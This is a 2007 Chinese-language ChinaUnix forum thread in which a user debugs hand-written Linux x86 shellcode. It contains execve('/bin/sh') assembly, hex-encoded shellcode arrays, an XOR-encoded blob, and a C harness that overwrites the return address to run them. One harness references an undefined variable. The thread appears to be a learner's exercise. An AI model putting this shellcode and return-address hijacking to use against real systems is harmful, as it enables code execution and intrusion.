免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 3728 | 回复: 11
打印 上一主题 下一主题

linux汇编问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-07-02 11:27 |只看该作者 |倒序浏览
最近写了一个linux内联汇编代码
#include <stdio.h>
int main(){
        __asm__("jmp 0x2a\n\t"
                "popl %esi\n\t"
                "movl %esi,0x8(%esi)\n\t"
                "xorl %eax,%eax\n\t"
                "movl %eax,0x7(%esi)\n\t"
                "movl %eax,0xc(%esi)\n\t"
                "movl %esi,%ebx\n\t"
                "movb $0xb,%al\n\t"
                "leal 0x8(%esi),%ecx\n\t"
                   "leal 0xc(%esi),%edx\n\t"
                "int $0x80\n\t"
                "xorl %ebx,%ebx\n\t"
                "movl %ebx,%eax\n\t"
                "inc  %eax\n\t"
                  "int $0x80\n\t"
                "call -0x1f\n\t"
                ".string \"/bin/sh\""
        );
}
#gdb a.out
(gdb)disassembly main
                                push %ebp
                mov %esp,%ebp
                sub $0x8,%esp
                and $0xfffffff0,%esp
                mov $0x0,%eax
                add $0xf,%eax
                add $0xf,%eax
                shr $0x4,%eax
                shl $0x4,%eax
                  sub %eax,%esp
                jmp 0x4
                popl %esi
                mov %esi,0x8(%esi)
                xor %eax,%eax
                mov %eax,0x7(%esi)
                mov %eax,0xc(%esi)
                movl %esi,%ebx
                movb $0xb,%al
                lea 0x8(%esi),%ecx
                   lea 0xc(%esi),%edx
                int $0x80
                xor %ebx,%ebx
                mov %ebx,%eax
                inc  %eax
                  int $0x80
                call 0x4
                das
                bound %ebp,0x6e(%ecx)
                das
                jae 0x80483e8 <__libc_csu_fini+16>
                add %cl,%cl
                ret
为什么在gdb汇编代码中jmp 的地址和call的地址都成了0x4?真是奇怪了

论坛徽章:
0
2 [报告]
发表于 2007-07-02 12:01 |只看该作者
又是shellcoder。。。

论坛徽章:
0
3 [报告]
发表于 2007-07-03 18:16 |只看该作者
我对代码作了一些改动
#include <stdio.h>
int main(){
        __asm__("jmp .label2\n\t"
                ".label1:\n\t"
                "popl %esi\n\t"
                "movl %esi,0x8(%esi)\n\t"
                "xorl %eax,%eax\n\t"
                "movl %eax,0x7(%esi)\n\t"
                "movl %eax,0xc(%esi)\n\t"
                "movl %esi,%ebx\n\t"
                "movb $0xb,%al\n\t"
                "leal 0x8(%esi),%ecx\n\t"
                   "leal 0xc(%esi),%edx\n\t"
                "int $0x80\n\t"
                "xorl %ebx,%ebx\n\t"
                "movl %ebx,%eax\n\t"
                "inc  %eax\n\t"
                  "int $0x80\n\t"
                ".label2:\n\t"
                "call .label1\n\t"
                ".string \"/bin/sh\""
        );
}
使用gdb得到shellcode后,测试代码如下:
#include <stdio.h>

char shellcode[]=
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46"
        "\x07\x89\x46\x0c\x89\xf3\xb0\x0b\x8d\x4e"
        "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
        "\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62"
        "\x69\x6e\x2f\x73\x68\x00\xc9\xc3";
int main(){
        int *ret;
        ret=(int*)&ret+4;
        (*ret)=(int)shellcode;
}
执行后发现没有任何反应
[root@localhost]#./a.out
[root@localhost]#
感觉是shellcode编写错误了,请大家帮我看看哪里出了问题,谢谢!

论坛徽章:
0
4 [报告]
发表于 2007-07-03 18:43 |只看该作者
ps看一下是不是多了一个进程,不行的话试试我签名里的内容

论坛徽章:
0
5 [报告]
发表于 2007-07-03 19:46 |只看该作者
原帖由 tmp 于 2007-7-3 18:43 发表
ps看一下是不是多了一个进程,不行的话试试我签名里的内容

抱歉,好像返回地址也出现了问题,我把代码按照你的签名修改了一下,如下
#include <stdio.h>
char shellcode[]=
        "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59"
        "\xb2\x04\xcd\x80\x31\xc0\xb0\x01\x21\xdb\xcd\x80\xe8\xe2\xff"
        "\xff\xff\x66\x75\x63\x6b";

int main(){
        int *ret;
        ret=(int*)&ret+2;
        (*ret)=(int)shellcode;
}
红色的字体代表改动的部分
执行后提示Segment Fault(core dump)
环境是Red Hat Enterprise Linux 4.0+gcc 3.4.3

论坛徽章:
0
6 [报告]
发表于 2007-07-03 23:26 |只看该作者
顺便问一下,哪里有shellcode的入门文章或者教程..

论坛徽章:
0
7 [报告]
发表于 2007-07-04 12:09 |只看该作者
首先你的汇编代码写的就有问题,编译候执行也没有效果

论坛徽章:
0
8 [报告]
发表于 2007-07-05 20:55 |只看该作者
应该是shellcode的问题,我更换了shellcode之后就可以用了,只是我不太明白为什么前面写的shellcode不能用
#include<stdio.h>                                                                    
                                                                              
char hell[] =                                                                  
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x88\x80\x36\x
2\x46\xe2\xfa"                                                                 
"\xe9\x12\x2d\x60\x6b\x6c\x2d\x71\x6a\x02\x51\x6a\x67\x6e\x6e\x23"            
"\x08\x02\x83\xee\x65\x29\x02\x02\x57\x8b\xe7\x81\xee\x0a\x55\x54\x51\xea\x02"
"\x02\x02\x02\x59\x83\xc1\xd0\x12\x02\x02\xc5\x47\xfa\x02\x02\x02\x02\xc5\x47"
"\xfe\x02\x02\x02\x02\x8f\xb9\x08\xed\xfd\xfd\x8b\x7f\xfa\x8f\x89\x10\xed\xfd"
"\xfd\xba\x06\x02\x02\x02\xbc\x03\x02\x02\x02\xb8\x05\x02\x02\x02\x51\x8b\xf1"
"\xcf\x82\x8f\x4f\xfa\xba\x09\x02\x02\x02\x8b\xfc\x33\xd0\x51\x8b\xf1\xcf\x82"
"\x33\xc2\x8f\x67\xee\x59\x5c\x5d\xcb\xc1\x92\x92\x92\x92\x92\x92\x92\x92\x92"
"\x92\x92\x92\x92\x92\x92";                                                   
int main()                                                                     
{                                                                              
       int *ret;
        ret=(int*)&ret+2;
        (*ret)=(int)shellcode;
}

论坛徽章:
0
9 [报告]
发表于 2007-07-05 21:36 |只看该作者
原帖由 tmp 于 2007-7-4 12:09 发表
首先你的汇编代码写的就有问题,编译候执行也没有效果

我更换了环境以后就可以用你签名的shellcode
#include <stdio.h>
char shellcode[]=
        "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59"
        "\xb2\x04\xcd\x80\x31\xc0\xb0\x01\x21\xdb\xcd\x80\xe8\xe2\xff"
        "\xff\xff\x66\x75\x63\x6b";
int main(){
        int *ret;
        ret=(int*)&ret+2;
        (*ret)=(int)shellcode;
}
#gcc shellcode.c
#./a.out
fuck
看来和环境也有关系,我现在用的系统是Turbolinux 7+gcc 2.95

[ 本帖最后由 stevens_wu 于 2007-7-5 21:43 编辑 ]

论坛徽章:
0
10 [报告]
发表于 2007-07-05 21:52 |只看该作者
什么方法可以把shellcode转成汇编?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP